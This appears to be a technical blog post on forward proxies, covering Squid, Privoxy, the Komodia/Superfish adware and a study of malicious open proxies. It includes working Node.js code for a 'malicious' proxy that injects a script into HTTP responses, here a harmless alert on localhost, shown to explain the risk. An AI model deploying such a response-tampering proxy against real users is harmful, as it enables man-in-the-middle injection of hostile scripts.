Malicious Forward Proxies

2020-04-27

Forward proxies accept incoming connections from HTTP clients and forward them to the client-specified HTTP server via a separate connection, sending the potentially modified server's response to the client. Forward proxies usually issue DNS queries on behalf of the client.

A proxy is a so-called HTTP intermediary. The HTTP 1.1 specification (RFC 7230) distinguishes three types of HTTP intermediaries: proxies, gateways, and tunnels.

Both web proxies and tunnels, but not gateways, can be considered forward proxies.

A common application of forward proxies is to cache content (such as HTTP responses and DNS lookups) for many clients in order to save bandwidth. Moreover, forward proxies can be used to monitor as well as filter HTTP traffic. It may provide anonymity by hiding the client's IP address from the target server or act as a transparent proxy that forwards the client's IP address to the target server via headers such as the X-Forwarded-For header. Transparent proxy often identify themselves to the target server by adding a header such as the Via or X-Via header. Other forward proxy use cases include debugging web applications with proxies such as Burp Suite or mitmproxy. For more details on proxy uses, see Wikipedia.

Squid is a popular open-source forward proxy server implementation for Linux, certain Unix systems, and Windows. It can also act in reverse proxy mode where the proxy behaves like an ordinary HTTP server from the perspective of the client. Another open-source forward proxy server implementation that runs on many platforms is Privoxy. This proxy offers filtering capabilities that promotes the privacy of its users.

A feature of Privoxy is to modify server responses in order to remove tracking cookies and strip out advertisements. While Privoxy modifies server responses for the benefit of its users, there are proxies that modify responses for nefarious purposes such as the malicious Komodia/Superfish proxy that injects advertisements. Unlike HTTPS that uses TLS, HTTP doesn't protect against man-in-the-middle attacks that allow the attacker to read and modify the victim's network traffic. However, as the Komodia/Superfish malware adds its own root CA certificate to the system's certificate trust store, it can even control HTTPS traffic without the user receiving a warning in the browser.

Besides the Komodia/Superfish proxy that was shipped with certain Lenovo devices, numerous forward proxies on the Internet turn out to be malicious as well. In this context, the paper "An Extensive Evaluation of the Internet's Open Proxies" by Mani et al. finds that many open proxies, i.e., proxies that are available free of charge over the Internet, are unresponsive or behave maliciously. The malicious behaviors observed by the paper's authors include injecting cryptocurrency mining scripts into responses and adding malware to binary files downloaded via the proxy. Furthermore, the authors report that certain open proxies mount TLS man-in-the-middle attacks.

It is straightforward to build such malicious forward proxies studied in the paper. For example, the following HTTP proxy written in Node.js injects a script tag after the opening HTML body tag in the response, provided that the original server response of the target server contains an HTML body tag.

const http = require('http');
const httpProxy = require('http-proxy');

const proxy = httpProxy.createProxyServer();
proxy
  .on('error', (err) => {
    console.error(err);
  })
  .on('proxyRes', (proxyRes, req, res) => {
    let body = [];

    proxyRes
      .on('error', (err) => {
        console.error(err);
      })
      .on('data', (chunk) => {
        body.push(chunk);
      })
      .on('end', () => {
        body = Buffer.concat(body).toString();
        console.log(`Original response body:\n${body}\n`);
        body = body.replace('<body>', '<body><script>alert("pwned!");</script>');
        console.log(`Modified response body:\n${body}\n`);
        res.end(body);
      });
  });

const proxyServer = http.createServer((req, res) => {
  console.log(`Request URL: ${req.url}`);
  if (/^http:/i.test(req.url)) {
    proxy.web(req, res, {
      changeOrigin: true,
      selfHandleResponse: true,
      target: req.url,
    });
  } else {
    console.error(`Unknown scheme in URL: ${req.url}`);
  }
});
proxyServer.listen({
  host: 'localhost',
  port: 8080,
}, () => {
  console.log('Malicious HTTP proxy listening on port 8080 on localhost\n');
});
Malicious HTTP proxy that appends a script after opening body tags.

The code for this malicious proxy is inspired by the node-http-proxy documentation. Some general background information on Node.js HTTP server code is available in the official Node.js documentation.

Alternative approaches to modify responses to proxied requests using Node.js are discussed in this Stack Overflow thread. An implementation of an HTTP tunnel written in Node.js that supports the HTTP CONNECT method and doesn't rely on the node-http-proxy module is provided in this question on Stack Overflow. The corresponding answer explains how HTTPS tunnels can be implemented where clients connect to the tunnel via TLS. Another HTTP CONNECT method-based tunnel implementation that also leverages Node.js native modules is provided in this Stack Overflow answer. Although that tunnel lacks client-to-tunnel TLS support, it is possible to add TLS support using tools such as stunnel as suggested in the Chromium documentation.

To test the proxies/tunnels, you can use ncat that comes with nmap. Assuming that the proxy or tunnel is listening on port 8080 on localhost, run ncat localhost 8080. If it listens on a TLS socket, connect using the command ncat --ssl localhost:8080.

A Virtual Private Network (VPN) can serve as an alternative to a forward proxy. Like third party-hosted proxies, free as well as commercial VPNs put the providers into a man-in-the-middle position that enables them to gather information about the network traffic of their clients. This position in the network allows VPN providers to fully control the communication for protocols such as HTTP. While third-party VPNs and proxies may offer anonymity, a self-hosted VPN doesn't require you to trust a third party service with your traffic. Software such as Algo VPN facilitates spinning up one's own VPN server with a secure configuration. Besides the traditional IPsec protocol, Algo VPN supports the modern, well-designed, and highly performant WireGuard protocol. WireGuard's code was praised by Linus Torvalds and was merged into Linux kernel 5.6.